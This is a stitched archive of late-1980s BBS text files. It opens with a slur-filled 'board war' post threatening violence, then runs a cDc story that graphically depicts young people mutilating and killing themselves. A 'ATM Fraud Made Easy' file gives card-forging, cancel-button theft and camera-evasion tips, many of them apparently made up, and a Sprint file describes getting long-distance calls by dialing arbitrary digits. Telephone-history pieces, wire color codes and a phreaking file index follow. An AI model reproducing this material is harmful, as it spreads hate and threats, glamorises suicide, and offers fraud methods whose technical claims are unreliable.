On good boards, there is no such thing as a "war". They're usually just
arguments because someone ragged on someone on a crack page. However, the
locals take this EXTREMELY seriously. Every message is full of threats, and
challenges to fight (which never happen). Not to mention lots of obscenities.
POSTER: JOE STRANSIVIK
TITLE: FUCK YOU FAGGIT!
YOU'RE SUCH A FUCKING LOSER, APPLE KING! I TALKED TO PEOPLE WHO GO TO YOUR
SCHOOL, AND THEY SAID YOU'RE A MAJOR GEEK. YOU PROBABLY SUCK EVERYONE'S COCK.
FUCK YOU! FUCK YOU! YOU PROBABLY FUCK YOUR MOMMA TOO! YOUR DAD PROBABLY FUCKS
YOU! I WANNA BEAT THE FUCKIN LIVING FUCK OUT OF YOUR FUCKING BUTTFUCKER FACE! I
CHALLENGED YOU TO A FIGHT AT THE PARK AND YOU DIDN'T SHOW UP! YOU WERE PROBABLY
FUCKING YOUR GEEK FRIENDS! FUCKIN FAGGIT BUTTFUCKER! IF I EVER MEET YOU I'M
GOING TO BEAT THE FUCK OUT OF YOU!
FUCK YOU, HOMO!
-------------------------------------------------------------------------------
"Mom, I just want a Pepsi!"
Call DRU. Now.
_______________________________________________________________________________
Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321
Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606
Question Authority........715/341-6516 Pure Nihilism.............517/337-7319
Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668
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((___)) ((___))
[ x x ] cDc communications [ x x ]
\ / presents... \ /
(` ') (` ')
(U) (U)
Trail of Blood
by Sunspot
>>> A CULT Publication......1988 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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"Thomas! Thomas! Come downstairs! Your father and I have something
to discuss with you!"
Thomas sat on his bed cross-legged, staring at the glistening surface
of the scissors. See how they shine and gleam in the light? See how they
sparkle? Thomas inserted one scissor into each of his nostrils. Hehe! They
tickle! And the blade is so cold! Well, nevermind about that. Thomas pushed
the scissors up into his nose. He felt something pop and felt the warm blood
start to drip, then gush, from his nose. He pushed up some more, but the
septum dividing his nostrils got in the way. Impatiently, he closed the
scissors, cutting it apart, then pushed up some more. The scissors started to
slip because of the blood covering them, but he still pushed them up. He felt
them stop against something hard. Hmm... must be a bone. He slammed the
scissors against it a few times, then pulled it out of his nose and smashed
them up with all his might. He felt the bone crack and give way right before
he felt a sharp pain in his head, then a peculiar tingling feeling spreading
throughout his body. He let go of the scissors and they dropped from his nose,
which was now nearly obliterated from his face. There was a spreading red mark
where his nose used to be. He felt no pain now, he felt very light, like a
feather. He felt himself floating... he wasn't aware of the blood pouring from
his face, or of the small trickle of blood starting to come from his ears
either. He just felt the immense ecstasy of floating on nothing, of peace and
warmth and light, all mixed into one. He rolled around on the air he was
floating on and a sharp knock on his head brought him back to reality. He
wasn't floating, he was on his bed, and he had just fallen off. He staggered
to his feet, wondering what had happened. His head hurt, but his nose was
killing him, so he walked to the mirror, and looked into it. He stared at
himself, and screamed.
***
Vanessa stared down the barrel of the gun. She didn't think it looked
particularly dangerous, just kind of ominous. She didn't even know what kind
of gun it was, she had just stolen it out of her father's desk when he was out.
She opened the chamber and noted with satisfaction that all six bullets were
there. Six were plenty, six were more than enough. She carefully closed the
chamber of the gun and put it to her left ankle and pulled the trigger. The
bullet came out of the gun with infinite slowness, it seemed to Vanessa. She
could just pull away, and it would all be ok. But she couldn't pull away. She
looked away from her ankle for a second, then looked back at it, and saw the
hole in the carpet. At first she thought she had somehow missed, but then she
looked at her ankle, with the neat little hole popped right through it. Right
through it. The blood started to drip down to her sneakers.
She pointed the gun at her right ankle and repeated the previous
procedure. And she still felt no pain. No pain at all. She stood up, took a
step, and collapsed. Her torn-up ankles couldn't support her. No problem.
She sat up, and stuck the barrel of the gun into her left elbow. She stared at
it for a moment before pulling the trigger. It was loud. For some reason, she
hadn't noticed the loudness with the ankles, but now she did. And this time,
there was pain. Oh, so much pain, hurts, hurts, hurts, so much pain, waves
of pain. Her whole elbow was ripped apart and blood was spattered everywhere.
She stuck the barrel into her right elbow, and pulled the trigger without
hesitation. This time there was no pain, and no noise either. Unfortunately,
there was no color either, as everything had turned sort of a light-grayish
white shade. Never mind.
Vanessa looked down at herself and thought. Then she knew. She
inserted the barrel of the pistol into her navel and pulled the trigger. Her
whole body jerked backwards and she was thrown back a few feet. She looked
down and saw just a large hole in the middle of her stomach. Vanessa felt
blood starting to drip down her legs and felt along her back. There was a hole
there, too. She turned around and saw that the bullet had gone right through
her into the dresser.
She heard feet running up the stairs. "Vanessa! Vanessa! What was
that noise! Vanessa! Are you all right?!" Her mother had come home. This
would speed things up a bit. Her mother walked in the door and staggered back
a step. She fell to the floor and stared at Vanessa, nearly hyperventilating.
"Oh my god, Vanessa! Vanessa, my baby, what happened to you?" Vanessa smiled
sweetly at her mother, inserted the barrel of the gun into her left ear, and
pulled the trigger. She heard her mother screaming in the background, but
right before she heard the screams, she thought, "What about my right ear?"
And then there was the noise again, only much, much, much louder than before.
Too loud. It felt like her head was exploding. She was vaguely aware of a
throbbing pain in her head, but wasn't concerned about that right now. She was
aware of a bright light, however, a very bright light. And she looked towards
it, then tried to look away, for it was blinding her. She couldn't move her
head. Then she closed her eyes, and felt the light burning against her
eyelids, and then her eyelids were on fire, and burned away. She screamed for
the first time since the whole thing had started. Then her whole body was on
fire, and she heard her mother's screams grow dimmer and dimmer until they
ceased.
***
Bradley ran down the hallway as fast as he could and leaped with all
his might through the thick stained glass window. He heard it shatter, and
had a feeling like thorns scratching him all over his body. Opening his eyes,
he saw the ground coming closer at an incredible rate. He tried to maneuver
himself to land on his feet, but ended up landing headfirst. He covered his
head with his arms, and literally heard each bone shatter into several pieces.
His arms were bloody with pieces of bone sticking through the skin in many
places.
Then Bradley stood up. He walked to the intersection and jumped in
front of an oncoming vehicle. The screech of brakes was deafening as the
driver tried desperately to stop his car, but hit Bradley head-on anyways,
throwing him into the air. The car spun out of control, smashing into a nearby
store and exploding, killing the driver and two others.
Bradley started to stand up but noticed that he was missing a leg. He
tried to crawl but his arms felt like rubber, and looked like rubber too, bent
and twisted like a pretzel. Bradley looked up just in time to see the truck
surging forward. One of the big wheels ran right over his head. The skull
crunched like a potato chip under the huge wheel. He felt his blood, under
immense pressure, force holes through his arteries and skin, to squirt in all
directions. Then this tremendous pressure, it seemed, lifted from him, and
then there was nothing.
...and then there was nothing.
_______________________________________________________________________________
Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321
Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606
Question Authority........715/341-6516 TacoLand II...............517/337-7319
Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668
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(c)1988 cDc communications by Sunspot 5/20 - 10/24/88-81
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| A. T. M. Fraud Made Easy |
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| summary and research by |
| Count Zero |
| |
| (A CHiNA Info-Net Prod) |
| |
+-------------------------------+
Have you ever looked longingly upon the sight of your local PULSE machine
and thought, "There must be some way that I can make some money REAL easy
here."?
Well, there is. But it won't be easy. Protection methods can be overcome,
but the technology involved must be understood IN ITS ENTIRETY before an
attempt at illegal access is to be made. There are hundreds of people,
guests of the state, that figured their plans infallible, only to fall
victim to a well-hidden camera.
This article will not be a lesson on HOW to break into the machine, it is
merely a summary of the operations involved with a normal ATM transaction.
This information is being presented on a "for information's sake"-only
basis. I, Count Zero, do not promote nor remotely condone any illegal
acts of any sort. So there.
I. MAGNETIC STRIP FORMAT
This would seem to be the most efficient method of trying to access illegal
sums of cash. You could:
a. steal somebody's card and PIN code
b. synthesize a card
c. attempt to "jackpot" the system
We will only look at option B. As "A" is up to your own devices and "C" has
several good text files written about it already. So "B" it is.
Let's look at the format of the data written to the magnetic strips. This
has been taken from a recent HARTWELL, INC manual.
[ XX XX XX XX XX XX XX XX ] [ YYYY ] [ - 20 CHARS - ] [ ZZ ZZ ZZ ] [ CC CC ]
\-----------------------/ \------/ \--------------/ \----------/ \-------/
Your individual acct. PIN Name of card Bank route CHKSUM
number/serial code Code issuee code/rem.
access #
For validation, each entry is written twice but not written here for
ease of typing. But it is repeated in the form of:
"ACCT NUM" "ACCT NUM" "PIN CODE" "PIN CODE" etc...
These codes may be examined by building a simple code-reader as many
have done which can be easily interfaced to your IBM-PC. Full plans
to be put into a future CHiNA newsletter.
If you were to attempt to write a magnetic strip or change a currently
existing one, you would need to be using a head-write circuit based on
the popular Motorola BCX119221-A...C series of head control chips.
NOTE: Make sure to change the last 2 values! They constitute the
checksum of the entry.
Merely add all existing characters written (only the first entry, not both
of them) using the following chart:
CHARACTER VALUE
--------------------------------
0..9 0..9
A..Z 10..36
EOL 37
EOT 38
CLR 39
HMX 40
PTT 41
RIA-1 42
RIA-2 43
I doubt anyone in the communications biz needs an explanation of these terms
so I'll move on.
II. ATM HARDWARE
Usually consists of:
------------------------------------
| |
\-----\ | B |
| A | | |
\-----\ ------------------------------------
| |
| ----------- /---/ E |
| / / / / ---- |
| / C / / D / F |
| / / / / ---- |
| ------------ /---/ |
| |
------------------------------------
A. Camera Mount
B. Hidden Voice-Activated recorder & printout link
C. Display Monitor
D. Options buttons
E. Card Slot
F. Receipt Slot
Your machine may vary slightly. But the concept will almost always hold true.
Simple rules for each.
A. Wear a paper bag or mask. See also Part II A
B. Do NOT speak. This is the most crucial part! See also Part II A
C. Nothing
D. Wear gloves
E. See Part I
F. TAKE YOUR RECEIPT AND BURN IT!!
One of the neat flaws in many machines made prior to 1989 involved the
use of the "CANCEL" button. This button was made to be pressed when the
user decided, at any time during the transaction, that he didn't wish
to continue. The display would jump immediately to:
"TRANSACTION CANCELLED - CHOOSE ANOTHER?"
This was all well and good, but the machines did not disable this feature
between the time your cash was dispensed and you were prompted for your
next activity. In effect, you could push the "CANCEL" button after your
money has been withdrawn and it would not be added to your account record!
THIS STILL WORKS IN MANY PLACES! OVER 85% OF ALL MACHINES MADE BEFORE MAR. 1989
STILL HAVE NOT BEEN UPGRADED.
Although most machines of that period would only work if you were withdrawing
amounts larger than $20 (usually $25 is the next possible choice!)
This is ideal if you are using another's card!
II A. CAMERA/SOUND HARDWARE
You can go other routes when dealing with camera systems. You do not have
to wear a bag on your head (unless the cosmetic improvement is quite large)
Thin alloy metal such as common aluminum/tin foil, which are full of impurities,
react in a bizarre way when photographed through the special lenses that are
commonly used. The effect is to "blur" or "bleed" the image, rendering it
indestinguishable from an accident in your local Sherwin-Williams store.
Most people prefer to make a "headband" of this metal, lined with copper
wire in a sine wave pattern when accosting a machine. You should
seriously consider this possibility!
For further reading on this subject, consult:
BANKER'S WORLD - Apr 1989
"Where Have All the Dollars Gone?"
pp 24-29
P. I. - Apr 1989
"The Last Straw"
pp 37-41 (p 38 in particular has a nice
diagram. Fig 1)
Sounds, these articles also suggest an indirect method of dealing with the
voice-activated recording device. Oddly, a pure square wave tone (roughly
around 3100 hz) will cause a major screwup in the sound-sensing abilities
of the recorder. It usually will have to be replaced. Suggested volume,
given at 6" range is 8.5+ db. Obviously, anything louder will do.
An interesting side-note is that this has become a past-time of suburban
teenagers!
Well, hope this gets you started! More will be coming in the next
exciting file!
---------------------------> OVER AND OUT! -----------> COUNT ZERO
HAHAHAHA NAPPA IS A BUNCH OF FLY-BY-NIGHT LOSERS, EH CONFLICT?!
Call us on:
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CHiNA Info-File : The 'Inward' Operators
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Well folks here is another file in the educational series of our releases.
Look for more files from The Egghead Dude, Mr. X and The Viper in the next
couple of weeks.
The Telephone concept of Inward is one of the things that modernization of the
network has essentially ended.
Back in the days when lots of calls were operator handled, the Inward operator
was the operator who answered jacks labelled "Inward" on her position. In
some towns, this might be the same operator as the "Coin Collect" operator,
who would answer jacks labelled "Coin Collect" or as any other operator.
In larger towns, there would be switchboards explicitly allocated to these
specialized services. In smaller towns, these services would appear on some
or all of the positions occupied by other operators. The "numbers" route for
non-dialable ring-downs would also have its own set of jacks.
But now that modernization has arrived, and operators sit at computer consoles
rather than cord boards and are located hundreds of miles from the areas they
serve, the whole concept has essentially gone away.
For example, New England Telephone serves Massachusetts, Rhode Island, Vermont,
New Hampshire, and Maine with operators connected to switching systems in
Springfield MA, Cambridge MA, Framingham MA, Hanover MA, Lawrence MA, and
Manchester NH. Most operators are not near these switching systems. They are
in Fall River MA, Brockton MA, Quincy MA, Keene MA, Newburyport MA, Springfield
MA, Marlboro MA, E. Providence RI, Portland ME, Dover NH, Keene NH, and
Brattleboro VT.
The long distance carriers are also drastically reducing the ubiquity of
operators. In testimony before the Mass DPU, a competitor of AT&T claimed that
AT&T planned to concentrate its operators in five nationwide operating centers.
The operators don't really have any special sort of connection to the central
offices except when they are performing coin collect functions or busy number
verification. Some reasons a call might go through when placed through an
operator when it didn't work when dialled are:
1. You dialled via one carrier and then used an operator from a
different carrier.
2. Your local central office has a problem translating the area
code or area code and first three digits.
3. Your local operating company has a translation problem in its
access tandem.
4. The long distance carrier has a translation problem in the
toll switching machine serving your central office, but when
you're connected to an operator, you end up using a different
toll switching machine for the call.
Basically, the only reason the operator gets through when you don't is that
the call may be placed through different switching systems along the way.
Inward almost doesn't exist any more. Except when calling an area served by
one of a very few independent telcos with their own operators, AT&T operators
who call Inward are going to reach another AT&T operator. In no case will an
AT&T operator calling Inward reach a local Baby Bell operator. Only in the
case of the completing calls to non-diallable points (and there are thousands
of them left, especially in California), will an AT&T operator end up on a
Baby Bell toll board, but this isn't Inward. The Inward route (rather than
the proper "numbers" route) for such places would end up on an AT&T board which
would have to call the "numbers" route.
This means that if I make a call from Boston via the AT&T operator for help in
calling Montpelier VT, and the operator tries Inward, this means the AT&T (not
New England Telephone) operator for Montpelier, who might be sitting at the
operator position right next to her!
It also means that if I want to call a pay phone in Montpelier collect, AT&T
can't do it anymore, because they can't reach a telco operator. AT&T will call
the pay phone and say that someone's trying to call collect and ask the party
to call back 1+.
Written by: Egghead Dude Edited by: Maxwell Smart
A moment of silence for the dead : Mickey Leland, Bart Giamatti and of
course the good old boys in 301.
Hellos to : Commander Sozo, Master Ryu, The Oxidixer, Jolly Green Giant,
Celtic Phrost and The Genetic Terrorist.
Also to : Lord Blix, The Viper, Software Surgeon, The Guch, The Knack and
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| Pacific Bell's Corrupt Fun! |
| August 16, 1989 |
| CHiNA CHiNA |
============================================================================
Welcome to CHiNA Educational InfoFile Series II, # 4. Enjoy.
Sorry, no cutesy intro here...funny how Meg says CHiNA's dead, and we've
only had four NEW releases in the past two weeks...mighty strange, eh?
The following article is from the L.A. Times. It describes a claim by
an operator of a local 'talking yellow pages' that Pacific Bell is
intentionally disrupting his Centrex service. There have been other claims
against PacBell, such as a telephone installer who claims PacBell
intentionally botched his company's ad that was placed in the yellow pages
for the past two or three years.
Rival Claims PacBell Gave It A 'Virus'
Owner of Talking Yellow Pages Says Phones Often Go Dead
By Bruce Keppel, Times Staff Writer
To Michael Amin, it seemed a natural: A 'talking' phone book for
people who would rather deal with the operator than finger through the
yellow pages.
So, Amin set up a Los Angeles-based firm, Primex Talking Yellow
Pages, to provide callers a choice of whatever category of company or
service the request- for example, a selection of physicians of a given
specialty and working in a particular area. The Primex operator can
connect the caller with the doctor he or she wants.
But the hang-up for Amin has been Pacific Bell.
The phone company says it has been unable to find the electronic
'virus' that, for 18 months, has bedeviled Primex. The result for Primex
has been to have many of its 36 telephone lines go dead at crucial
moments--such as right after broadcast of television and radio commercials
inviting the audience to call for a trial.
Don't Know the Cause
--------------------
At other times, Amin said, conversations are cut off in mid-sentence.
And sometimes callers hear ringing while Primex operators hear nothing or,
answering a ring, find no one on the line.
Despite extensive testing by Pacific Bell technicians, who say they
don't know the cause of Primex's problems, the company's phone troubles
have persisted for 18 months. Amin said they now threaten Primex's
pioneering venture, which competes with Pacific Bell's yellow page
directories. He noted that Pacific Bell and other former Bell companies
have repeatedly--and vainly--sought court permission to enter the talking
phone book business.
Last month, Amin lodged a formal complaint with the California Public
Utilities Commission, whose consumer division expects to compete its
evaluation this month.
Meanwhile, the PUC's five members held a final in San Francisco on
Monday to hear from businesses such as Primex before deciding to accept
proposals submitted separately by Pacific Bell and GTE California, to
change telecommunications regulation in the state.
Amin and other telephone industry entrepreneurs have complained that
giving the big phone companies more flexibility might clear the way for
Pacific Bell and GTE to use dirty tricks and other unfair practices to
drive competitors out of business.
For instance, Dennis Love has testified before the Assembly Committee
on Utilities and Commerce that his Marin County telephone-equipment repair
service failed after advertisements bought in Pacific Bell's local phone
books were botched in two of the last three years.
In Amin's case, the business is still running, although the number of
employees has plunged to 30 from a high of 70 when the company moved to
larger quarters near Los Angeles International Airport. That day, Feb. 1,
1988, the young company's local telephone service unaccountably went
haywire, Amin said.
Deliberate Tampering
--------------------
In it's complaint, Primex accuses Pacific Bell of indulging in
'illegal harassment' and 'deliberate tampering' with the company's phone
lines, most of which are attached to a Pacific Bell Centrex control unit.
The goal, the complaint charges, is to destroy the company's business.
Amin attached several pages of single-spaced entries chronicling scores of
service irregularities and said he has many more on file.
Pacific Bell spokeswomen Kathleen Flynn confirmed the existence of
repeated complaints by Primex but said that 2400 tests have so far turned
up no glitch in the phone company's equipment. Flynn said 99.8% of Pacific
Bell's test calls went through without a hitch.
'There's no reason for us at any time and at any case to disrupt a
customer's business,' she said. 'That's just not the way we do business.'
But Amin disputed the validity of that finding. When he asked Pacific
Bell last month to monitor one day's phone traffic for his firm, he said,
the utility found that 41% of the calls lasted less than 15 seconds--too
brief, he said, to be completed business calls.
Written by: Egghead Dude
Golf City BBS
CHiNA Node #5
What do Mickey Leland, Elvis Presley, Len Bias, Gilda Radner,
John Belushi, Mel Blanc, Lucille Ball, John F. Kennedy, Christie
MacAuliffe, Marilyn Monroe, Doctor Reverend Martin Luther King Junior, and
the boys from 301 have in common?
** EASY, THEY'RE ALL DEAD! **


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Welcome to CHiNA Educational InfoFile Series II, # 3. Once again,
be looking for new files weekly for the next few weeks until school starts
again. And contrary to Megaton Man's belief, we are still very much alive
and in production. If he tells you otherwise, kindly call him a peasant
and tell him to fuck himself...if you want. Enjoy!
Here are the standards in Telephone Color Coding:
Telephone circuits are paired as 'tip' and 'ring' wires. On POTS
(plain old telephone service) tip is 0 volts and ring is -48 volts (tip is
not 'ground' though as it is a blanced line). The pairs must be
distinguishable from one another easily so they are colour coded. The
colour of the wire indicates whether it is tip or ring. In a quad wire
green and black are tip while red and yellow are ring.
pair# tip colour ring colour
_____ __________ ___________
1 white blue
2 white orange
3 white green
4 white brown
5 white slate (silver)
6 red blue
7 red orange
8 red green
9 red brown
10 red slate
11 black blue
12 black orange
13 black green
14 black brown
15 black slate
16 yellow blue
17 yellow orange
18 yellow green
19 yellow brown
20 yellow slate
21 violet (purple) blue
22 violet orange
23 violet green
24 violet brown
25 violet slate
An individual wire is identified by it's colour and the colour of
it's stripe. The main colour determines whether it is tip or ring while
the stripe identifies it's pair (i.e. a black wire with a blue stripe is
tip of pair 11). In many cables the stripe is missing in which case the
pairs are distinguished by the way they are twisted, by pulling back the
sheath pairs are more obvious.
As you can see there are only 5 tip colors and 5 ring colours (5
x 5 = 25). a 100 pair cable is made up of four of these 25 pair bundles.
The first bundle is wrapped by a white/blue binder string, the second by a
white/orange binder, the third by a white/green and the fourth by a
white/brown. This scheme can be extended infinitum.
Some folks think that the order is:
Pair Tip Ring
1 RED GRN
2 YEL BLK
3 BLU WHT,
and that the 1st pair was backwards in a modular connector compared to the
rest.
Wrong. The polarity is off. Modular connectors reverse the polarity
so they make the issue pretty confusing. A modular line cord (that is a
properly made _telephone_ line cord) has a flat topology such that when
laid on a table the top of both connectors is up. This means that a
reversal (polarity wise) takes place. Tip becomes ring on all pairs (the
wire is a ribbon in theory). the top of both connectors is up. A 'set'
jack (the one inside the telephone) is wired backwards to compensate.
In addition, the system employed throughout the (used-to-be) Bell
System was actually very simple. There wer five colors assigned to "tip"
and five colors assigned to "ring". This gives a total combination of
twenty-five pairs (very convenient!).
The colors assigned to the "tip" are;
white wt
red rd
black bk
yellow yl
violet vi
The colors assigned to the "ring" are;
blue bl
orange or
green gr
brown br
slate sl (sometimes mistakenly called gray)
Standard phone convention is to identify the "tip" first and then the
"ring" when referring to a pair. Thus, the first five pairs of a telephone
cable are the "white" pairs;
white/blue wt/bl
white/orange wt/or
white/green wt/gr
white/brown wt/bn
white/slate wt/sl
The next five are the "red" pairs:
red/blue rd/bl
red/orange rd/or
red/green rd/gr
red/brown rd/bn
red/slate rd/sl
And so on, until all twenty five pairs are identified. What happens
when there are more than twenty-five pairs in a cable? Simple, enclose
each twenty-five pair group in a color coded binder. And guess what the
color coding is for the binder. Yep, the same as the wires in the binder.
The first binder group is the "white/blue" binder the second is the
"white/orange" binder, and so on. If it is necessary to refer to the
twenty-sixth pair of a fifty pair cable it is referred to as "two
white/blue" or 2-wt/bl. The seventy-ninth pair in a one-hundred pair cable
is called "four white/brown" or 4-wt/bn. This all holds true for the first
twenty-four binders in a cable. The twenty-fifth binder is a little
different, and my recollection is a little hazy but I believe the binder
colors are white-white-blue. Yes that's two whites and a blue. It might be
two blues and a white. It's been a long time since I was in a cable over
six hundred pairs. One thing I know for sure is that they double up on one
of the binder colors after the twenty-fourth binder group.
There is also a convention for the positioning the pairs on
connecting blocks. The Ring is usually on the Right and the Tip is
usually on the Top. As you can see there is a pattern here, Ring-Red-
Right and Tip-Top. I guess this was done to make it easier for us dumb
installers to remember! |-)
The only difference in the color coding between telephone cable (the
stuff used outside and strung along poles or underground in conduit) and
telephone inside wiring (the gray colored stuff in the walls and up in the
ceiling) is that the inside wire has each pair traced with the color of
its mate. That is, the first pair is a white wire with a blue tracer and
its mate is blue with a white tracer. This is done to avoid "splitting" a
pair. Splitting is getting the ring of one pair and the tip of another.
In outside phone cable each pair is twisted with its mate and the chances
of splitting a pair are not as great (although it's been known to happen
;-)).
With wiring done inside a house, a little history is in order. Back
when we had party-lines,(I know, we still do, but very few still in
service and none available for new service) three wires were necessary
because a ground was required to make the bell ring. So, the original
phone wiring had three conductors, red, green and yellow. Red and green
were ring and tip respectively and yellow was the ground. Then people
started getting away from party lines and into princess and trimline
phones with lights in the dial. The yellow was no longer the ground and a
black wire was added and the yellow and black were used to supply power
for the lamps from a small transformer. Time marches on, and now people
are getting second lines installed in their homes. Since the new phones
get the power for their lamps from the phone line directly, the yellow
and black are now "spare". The yellow is usually the ring and black is
the tip. Of course, houses that have been pre-wired with six-pair inside
wire would normally have line 1 on the white/blue pair and line 2 on the
white/orange pair. In many pre-wire installations I have found that the
sixth pair (red/blue) was used for transformer power, although I don't
believe that was ever an official practice.
Written by: Egghead Dude Edited by: The Conflict
Golf City BBS
CHiNA Node #5
Hope you enjoyed this one, and once again, look for more! Please
distribute this file freely, and if you really must speak to CHiNA,
contact us on one of our member boards (a node list should be available
wherever you receieved this file). Thanks for you support!
A big HELLO to Mr. X, The Maestro, Barimor (hear you're doing wonders
for the FiRM!), Jolly Green Giant, Feetsack, Lord Blix, Maxwell Smart, The
Viper, etc...if you want to be said HELLO to, too bad, we don't like you!
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CHiNA InfoFile on:
Remembrances of US Sprint
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This is file number two in the series of informative
CHiNA files, and file number seven in the entire CHiNA series.
Please distribute this, and thanks for your time and support.
We have often heard of Sprint's ultra-cautious handling of its accounts
and security measures and redlining, etc., has reminded me of the first days
of the FO(O)NCARD service. As soon as the 800 877 8000 number was working in
southern California it didn't take some people long to find out that the
cheapest long distance rates were currently being provided by Sprint.
This is how it worked: Dial 800 887 8000. Dial 0 plus the telephone
number. When you hear the tone dial 14 digits. Oh, any digits, even all 1s
if you like. "Beep-beep" and the call goes through. This "service" lasted
for many, many weeks. The more enlightened users of this arrangement only
used pay phones, realizing that the number of the calling phone was being
transmitted to Sprint, but for a while it was indeed the cheapest long
distance anywhere.
That's progress. From having the biggest hole in all of telephony to
turning off legitimate subscribers because too many (or not enough) calls are
being made. Are they learning on our nickel?
Written by: Egghead Dude
SysOp of : Golf City BBS
CHiNA Node #5
Once again, hello to everyone. No boring stupid goodbye
here. I hope you enjoy these files, and leave a message for
us on any CHiNA node if the need arises that you must speak
with us...bye for now...
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<H1>Groups: Damage, Incorporated</H1>
<P>
BLACKENED's group of telecommunications enthusiasts have been creating
telephone scanning lists, newsletters, and poetry since 1993. This collection
comes courtesy of his efforts, which are greatly appreciated.
A large portion of these files are the Damage, Inc. Newsletter, which pulls
away any individal textfiles they might be working on and puts them into an
easy to find (and read) collection. Solid telephone information and great
to see them at it after so many years.
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#00FF00><FONT COLOR=#000000><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#00DD00><FONT COLOR=#000000><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#00AA00><FONT COLOR=#000000><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/16hours.txt">16hours.txt</A> <tab to=T><TD> 2730<BR><TD> Poetic Rantings by Blackened of Damage, Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/225-5xxx.txt">225-5xxx.txt</A> <tab to=T><TD> 18016<BR><TD> 1-800-225-5XXX Phone Number Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/465-11xx.txt">465-11xx.txt</A> <tab to=T><TD> 3537<BR><TD> 1-800-465-11XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/465-99xx.txt">465-99xx.txt</A> <tab to=T><TD> 3729<BR><TD> 1-800-465-99XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/800bell.txt">800bell.txt</A> <tab to=T><TD> 14503<BR><TD> 1-800-XXX-BELL Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/861-21xx.txt">861-21xx.txt</A> <tab to=T><TD> 3947<BR><TD> 1-800-861-21XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/861-99xx.txt">861-99xx.txt</A> <tab to=T><TD> 3422<BR><TD> 1-800-861-99XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/877bell.txt">877bell.txt</A> <tab to=T><TD> 11323<BR><TD> 1-877-XXX-BELL Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/888bell.txt">888bell.txt</A> <tab to=T><TD> 12954<BR><TD> 1-888-XXX-BELL Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/acronyms.txt">acronyms.txt</A> <tab to=T><TD> 54325<BR><TD> The Damage, Inc. List of Acronyms v1.0 (1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/aquila.txt">aquila.txt</A> <tab to=T><TD> 3306<BR><TD> Poetic Rantings: The Eyes of Aquila by Blackened of Damage, Inc.
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/bigbro.txt">bigbro.txt</A> <tab to=T><TD> 2961<BR><TD> Poetic Rantings: Big Brother Matters, by Blackie Lawless of Damage, Inc. (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/chaos.txt">chaos.txt</A> <tab to=T><TD> 3855<BR><TD> Chaos and Madness (Poem) by BLACKENED
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam00spr.txt">dam00spr.txt</A> <tab to=T><TD> 130410<BR><TD> The Phreaky Field Phreaking List Spring 2000 Edition (May 5th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam00sum.txt">dam00sum.txt</A> <tab to=T><TD> 143175<BR><TD> The Phreaky Field Phreaking List Summer 2000 Edition (July 25th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam00win.txt">dam00win.txt</A> <tab to=T><TD> 94854<BR><TD> The Phreaky Field Phreaking List Winter 2000 Edition (February 27, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam01win.txt">dam01win.txt</A> <tab to=T><TD> 145581<BR><TD> The Damage, Inc. Phreaky Field Phreaking List Winter 2001 Edition (February 5, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam99fal.txt">dam99fal.txt</A> <tab to=T><TD> 80840<BR><TD> The Phreaky Field Phreaking List Fall 1999 Edition (November 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam99spr.txt">dam99spr.txt</A> <tab to=T><TD> 50010<BR><TD> The Phreaky Field Phreaking List Spring 1999 Edition (March 31, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dam99sum.txt">dam99sum.txt</A> <tab to=T><TD> 61285<BR><TD> The Phreaky Field Phreaking List Summer 1999 Edition (June 30, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.001">damage.001</A> <tab to=T><TD> 73055<BR><TD> Damage Incorporated Newsletter Issue #1 (September 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.002">damage.002</A> <tab to=T><TD> 66689<BR><TD> Damage Incorporated Newsletter Issue #2 (October, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.003">damage.003</A> <tab to=T><TD> 68586<BR><TD> Damage Incorporated Newsletter Issue #3 (November, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.004">damage.004</A> <tab to=T><TD> 54540<BR><TD> Damage Incorporated Newsletter Issue #4 (December, 1997)
